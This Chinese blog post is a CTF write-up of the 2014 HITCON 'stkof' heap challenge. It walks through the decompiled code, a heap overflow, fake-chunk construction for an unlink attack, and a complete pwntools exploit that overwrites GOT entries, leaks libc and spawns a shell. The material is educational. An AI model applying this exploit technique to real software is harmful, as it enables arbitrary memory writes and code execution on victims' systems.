unlink经典例题之stkof(详解)

例题介绍

这是一个关于unlink利用的pwn题

[例题下载](ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof at master · ctf-wiki/ctf-challenges · GitHub)

例题解法

题目分析

查看题目保护机制

在这里插入图片描述

是64位程序,发现存在canary和栈不可执行保护,runpath是我更改了libc后显示的。

查看题目条件

提供了libc,可根据泄露真实地址获得函数偏移地址,没有提供源程序,要将二进制程序拖进ida进行静态分析。

执行程序

发现没有文字提示,经过多次输入程序并没有结束,可猜测程序有个while循环,并且有输入验证(看似有点废话)。

IDA静态分析

main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(0x78u);	//程序定时结束
  while ( fgets(nptr, 10, stdin) )	//从输入流中获取10大小字节内容存入nptr地址中
  {
    v3 = atoi(nptr);				//将nptr地址中的值转换为int型赋给v3
    if ( v3 == 2 )
    {
      v5 = sub_4009E8();
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = sub_400B07();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = sub_400BA9();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = sub_400936();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

发现一个while循环,对用户输入进行不同的函数跳转,结构类似图书管理系统,还发现一个定时函数alarm 这个函数很不利于我们进行程序分析,所以手动修改一下定时时间。

在IDA中的View-A找到call alarm这条语句

在这里插入图片描述

发现上面一行汇编语句是将78h传入寄存器edi中,再对应伪代码中的alarm函数中的参数,可知只要修改这个寄存器中的值就可以对定时时间进行修改,所以选中78h再跳转IDA中的二进制视图看到其机器码为78 00 00 00

将程序拖入二进制编辑器(我用的是vscode上Hex Editor这个插件),搜索上述机器码,并修改为FF FF FF FF,保存并覆盖源程序,再次拖入IDA中,可看到alarm中的参数已经改变。

在这里插入图片描述

在这里插入图片描述

sub_400936函数(create_heap)
__int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);	//获取用户输入
  size = atoll(s);		//转化为long long型赋值给size
  v2 = (char *)malloc(size);	//创建一个大小为size的chunk,将data指针赋值给v2
  if ( !v2 )
    return 0xFFFFFFFFLL;
  (&::s)[++dword_602100] = v2;	//可以看出是一个数组,下标dword_602100+1上保存着新建chunk的data指针(下标从1开始)
  printf("%d\n", (unsigned int)dword_602100);	//打印下标
  return 0LL;
}

以上代码有个奇怪的变量::s,其它博客中写的原因是因为IDA反编译的时候出了点问,这个s和其它变量重复了,因为仔细观察还是一个看出::s其实就是个保存chunk_data指针的数组,所以我们点击::S右键将它重命名为chunk_addr,将dword_602100重命名为index

在这里插入图片描述

在IDA中点击chunk_addr(就是我们刚刚重命名的那个变量),我们就可以知道chunk_addr的地址

通过分析我们可以知道我们之后创建的chunk都保存在0x602140 这个地址当中,因为程序PIE保护已关闭,我们可以动态调试的时候查看这个地址,看看其中是否保存了我们已创建的chunk的data地址。

sub_4009E8函数(edit_heap)
__int64 sub_4009E8()
{
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);		//获取用户输入
  v2 = atol(s);				
  if ( v2 > 0x100000 )		//判断输入是否越界
    return 0xFFFFFFFFLL;
  if ( !(&chunk_addr)[v2] )	//判断该索引heap是否存在
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);		//获取用户输入
  n = atoll(s);
  ptr = (&chunk_addr)[v2];	//将chunk_data地址赋值给n
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;				//从上一个用户输入获取用户输入的内容长度,然后通过fread函数从输入缓冲区中获取n个元素,每个元素
    n -= i;					//大小为1个字节,从chunk_data的起始地址开始输入。
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

由于fread函数是从chun_data的起始地址开始,而且n可以输入的值远大于chunk的大小,所以这里存在一个堆溢出漏洞。

sub_400B07函数(free_heap)
__int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);		
  fgets(s, 16, stdin);				//获取用户输入
  v1 = atol(s);						
  if ( v1 > 0x100000 )				//验证索引是否越界
    return 0xFFFFFFFFLL;
  if ( !(&chunk_addr)[v1] )			//验证chunk是否存在
    return 0xFFFFFFFFLL;
  free((&chunk_addr)[v1]);			//回收该索引下的chunk
  (&chunk_addr)[v1] = 0LL;			//指针置NULL
}

从上面伪代码我们可以看出来它在回收chunk后将指向该chunk的指针置NULL了,所以就不存在UAF漏洞。

sub_400BA9函数(check_heap_usage)
__int64 sub_400BA9()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);			//获取用户输入
  v1 = atol(s);
  if ( v1 > 0x100000 )			//验证索引是否越界
    return 0xFFFFFFFFLL;
  if ( !(&chunk_addr)[v1] )		//验证该索引下的chunk是否存在
    return 0xFFFFFFFFLL;
  if ( strlen((&chunk_addr)[v1]) <= 3 )		//判断该索引下的chunk是否使用
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}

上诉程序很简单,而且与本题没有太大关系,大致看一下就好

gdb动态分析

分析堆中结构

创建三个chunk,然后观察程序堆中的结构。首先对该程序进行gdb指令,再运行,创建三个大小分别为16、32和48字节的chunk,

ctrl+c进入调试模式,输入heap指令观察堆中结构。(有些同学可能heap中会出现更多的chunk,这可能是不同版本libc中的一些机制不同导致的,更换libc即可,我用的libc版本是2.23-0ubuntu11.3_amd64

在这里插入图片描述

我们创建了三个chunk,但程序中包括top chunk在内却有6个,多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候。根据图中chunk的大小,我们可以得出heap中的结构如下图所示:

在这里插入图片描述

我们再看看静态分析sub_400936函数时得到的chunk_addr的地址(0x602140)中的情况

在这里插入图片描述

从上图我们可以明显的看到我们所创建的三个chunk的data地址

从上图的堆中结构可看到我们的chunk1被两个io_chunk所包围,因为我们无法对io_chunk进行任何操作,这让chunk1对于我们来说没有利用的价值,我们只可以对chunk2和chunk3进行利用。***由此可见,在后续的漏洞利用过程中,我们至少要创建三个chunk。***通过之前的静态分析知道了我们能够在编辑chunk的时候制造出堆溢出漏洞,现在我们对索引为2的堆进行编辑48个字节,然后查看下堆中结构

在这里插入图片描述

由上图可明显地看出来chunk3的pre_size段和size段都被覆盖了,到目前为止我们手上有堆溢出,而且程序PIE保护关闭,并且知道堆块指针都存放在哪里,所以就可以制造unlink实现对任意地址进行写操作(后面会仔细分析)。

部署堆中环境并构造伪造块

想要利用unlink就必须要有空闲的chunk,但是我们的chunk都是通过malloc函数申请到的,如此一来就不存在空闲的chunk等着我们区利用,但是我们可以伪造一个让程序以为是空闲的chunk。

但是我们该如何伪造这个空闲的chunk呢?通过上述的静态分析可知,我们可以对chunk进行编辑来修改chunk_data中的内容,所以我们只要在修改的时候在该chunk_data中构造出与空闲chunk一模一样的数据结构,这样就实现了在该chunk_data中构造了一个fake_chunk。但这个fake_chunk实际并不存在,我们只要做到程序在unlink的时候误认为它是一个空闲的chunk即可。

fake_chunk的大小至少为:

0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30

结构图如下所示:

在这里插入图片描述

***通过上图可以看出我们在chunk2中构造了一个fake_chunk,但是这种视角不是很好,在后续的漏洞利用我们可以认为在chunk2和chunk3中间还存在一个fake_chunk,***至于next_prevnext_size的作用,后续会讲解。

因为我们只能对chunk2和chunk3进行利用,所以我们选择在chunk2_data中构造fake_chunk,这样一来当我们free chunk3的时候,chunk3就会与fake_chunk进行合并,这么一来咱们在申请chunk2的时候就至少要申请0x30大小。

接下来我们就要考虑这个fake_chunk该是怎样个数据结构才能让程序误以为它是个free_chunk:

  • prev_size:我们只需让chunk3合并fake_chunk,所以我们将fake_chunk的prev_size设置为0x0即可,让程序以为上个chunk(chunk2)正在使用中。
  • size:该段记录的是当前chunk的大小,所以设置为0x20即可,
  • fd:配合完成unlink流程(后续讲解)
  • bk:配合完成unlink流程(后续讲解)
  • next_prev:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行。
  • next_size:没什么用,只是为了8字节对齐,可以为任意字符。

为了在free chunk3的时候能够让chunk3与fake_chunk合并,我们也需要对chunk3中的一些字段内容进行覆盖重写:

  • prev_size:用逆向的思维,假设我们构造的fake_chunk已经是个free chunk,那该字段就应该保存的是上一个被free的chunk(fake_chunk)的大小(包括prev_size和size字段)。因此,该字段应该覆盖为0x30
  • size:触发 unlink 的条件是,当前块的 inuse 位不为 1(也就是当前块的物理位置的前一个块是 free 的,当然位于 fastbin 里面的块除外,因为 fastbin 在 free 时不会把下一块的 inuse bit 置零,fastbin 在一般情况下面不会发生 unlink )。所以chunk3起码不能属于fastbin,其大小至少为0x90
绕过unlink检查

***当unlink成功执行的时候,在链表中,目标chunk(被摘取的chunk)的前后两个chunk的bk和fd指针会重新赋值,这样会就实现了一次内存空间的写操作(后面会进行调试演示)。***现在我们就得好好想想这个写操作发生在哪一段内存空间时,才能对我们的漏洞利用有帮助。

想想我们静态分析的时候,我们只有在编辑堆的时候才能有机会对内存中的内容进行修改,而这修改的对象是由chunk_addr这个数组对应下标的指针指向的地址决定的。根据程序分析,因为chunk_addr数组中保存的都是我们创建的chunk的data的地址,所以我们只能对chunk_data中的内容进行修改。

如果我们利用unlink,对chunk_addr数组中的指针进行覆盖重写,让这个指针指向的是chunk_addr的地址,这样我们再编辑堆的时候就能对chunk_addr中的任意下标进行覆盖(因为编辑堆操作存在堆溢出漏洞),结合能够修改chunk_addr中的任意下标内容和程序提供的修改chunk_addr中下标指针指向的地址内容函数,我们就可以实现程序的任意地址修改。

下面重点就开始了,如何利用unlink以及如何绕过unlink检查?

既然我们要利用unlink在chunk_addr数组的这段内存空间实现内存覆盖,所以链接fake_chunk的前后两个chunk得存在于chunk_addr数组当中。但是我们都清楚chunk_addr中保存的都是chunk的data指针,并没有chunk,但是如果我们换一种视角情况就会不一样。

我们返回去看chunk_addr起始地址(0x602140)的内容

在这里插入图片描述

由上图所示,我们可以把框框中的内容看成一个chunk,而这个chunk的fd指针指向的就是fake_chunk的起始地址(chunk2_data的起始地址)。同理我们查看chunk_addr起始地址的上一个内存单元的内容。

在这里插入图片描述

如此一来只要我们将fake_chunk的fd段设置为first_chunk的起始地址(0x602138),bk段设置为third_chunk的起始地址(0x602140)就构造出了下图所示的链表结构

在这里插入图片描述

如此一来就可以绕过unlink检查。

到目前位置我们已经可以完全构造出一个可以绕过unlink检查的fake_chunk,当我们free chunk3的时候,chunk3就会与fake_chunk进行合并,这时unlink就会执行,将fake_chunk从我们构造的链表结构中摘除,摘除后为了使链表结构完整则会执行first_chunk->bk = third_chunkthird_chunk->fd = first_chunk这两句覆盖的是同一个内存单元,由于third_chunk->fd = first_chunk是后执行,最终导致chunk_addr数组中的内存状态如下图所示

在这里插入图片描述

这里借用的是他人博客中的图片,所以个别地址和我动态调试的不太一样。但还是可以看的出来chunk2的data指针被覆盖为0x62138

现在当我们再次在程序中对chunk2进行编辑的时候,就会往后覆盖chunk_addr数组中的指针

漏洞利用

整体思路

***通过上诉的动态调试,我们已经可以对chunk_addr数组中的指针进行覆盖,我们将chunk1、chunk2、chunk3的data指针分别覆盖为free_gotputs_gotatoi_got。***我们将chunk1的data指针覆盖为free_got的地址,如果我们再次对chunk1进行编辑,那么就会覆盖free_got中的真实地址,然后我们将free_got中的真实地址覆盖为puts_plt地址,将chunk2的data指针覆盖为puts_got地址,当我们free(chunk2)时,实际上是调用puts打印出puts_got表中的真实地址。有了真实地址我们就可以根据偏移算出system函数的真实地址。将chunk3覆盖为atoi_got地址,用类似方法将真实地址覆盖为system的真实地址,根据静态分析main函数的中可知,当我们再次主界面中输入/bin/sh的地址时,则会执行system(/bin/sh),拿到shell!

最终chunk_addr数组的内存结构图下图所示:

在这里插入图片描述

利用流程

  • 创建三个大小合适的chunk
  • 编辑chunk2,构造fake_chunk
  • 删除chunk3,触发unlink
  • 编辑chunk2,覆盖chunk_addr数组中的指针
  • 编辑chunk1,覆盖free_got中的真实地址为put_plt的地址
  • 删除chunk2,泄露puts真实地址
  • 根据真实地址计算出偏移地址,根据偏移地址得到system函数和/bin/sh地址
  • 编辑chunk2,覆盖atoi_got中的真实地址为system函数地址
  • 在主界面输入/bin/sh地址,获得shell!

EXP

from pwn import *
io = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/home/pwn/Public/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
head_addr = 0x0602140				#chunk_addr的起始地址

def create(size):					#创建chunk脚本
    io.sendline(b'1')
    io.sendline(str(size))
    io.recvuntil(b'OK\n')

def edit(idx, size, content):		#编辑chunk脚本
    io.sendline(b'2')
    io.sendline(str(idx))
    io.sendline(str(size))
    io.send(content)
    io.recvuntil(b'OK\n')

def free(idx):						#删除chunk脚本
    io.sendline(b'3')
    io.sendline(str(idx))

create(0x100)   #idx 1
create(0x30)    #idx 2
create(0x80)    #idx 3

#编辑chunk2构造fake_chunk
payload1 = p64(0)
payload1 += p64(0x20)
payload1 += p64(head_addr-0x8)
payload1 += p64(head_addr)
payload1 += p64(0x20)
payload1 = payload1.ljust(0x30,b'a')
payload1 += p64(0x30)
payload1 += p64(0x90)
edit(2,len(payload1),payload1)

#删除chunk3,触发unlink
free(3)
io.recvuntil(b'OK\n')

#编辑chunk2,覆盖chunk_addr中的指针
payload2 = b'a'*8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload2), payload2)

#编辑chunk1,覆盖free_got中的真实地址为put_plt的地址
payload3 = p64(puts_plt)
edit(0, len(payload3), payload3)

#删除chunk2,泄露puts真实地址,并得到systme函数和/bin/sh的地址
free(1)
puts_addr = u64(io.recvuntil(b'\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']

#编辑chunk2,覆盖atoi_got中的真实地址为system函数地址
payload4 = p64(system_addr)
edit(2, len(payload4), payload4)

#在主界面输入/bin/sh地址,获得shell!
io.send(p64(binsh_addr))
io.interactive()
                           

例题总结

此题的重点在于如何构造fake_chunk以及如何触发unlink,需要根据unlink的检查规则逆向推出fake_chunk的结构。

  • 14
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值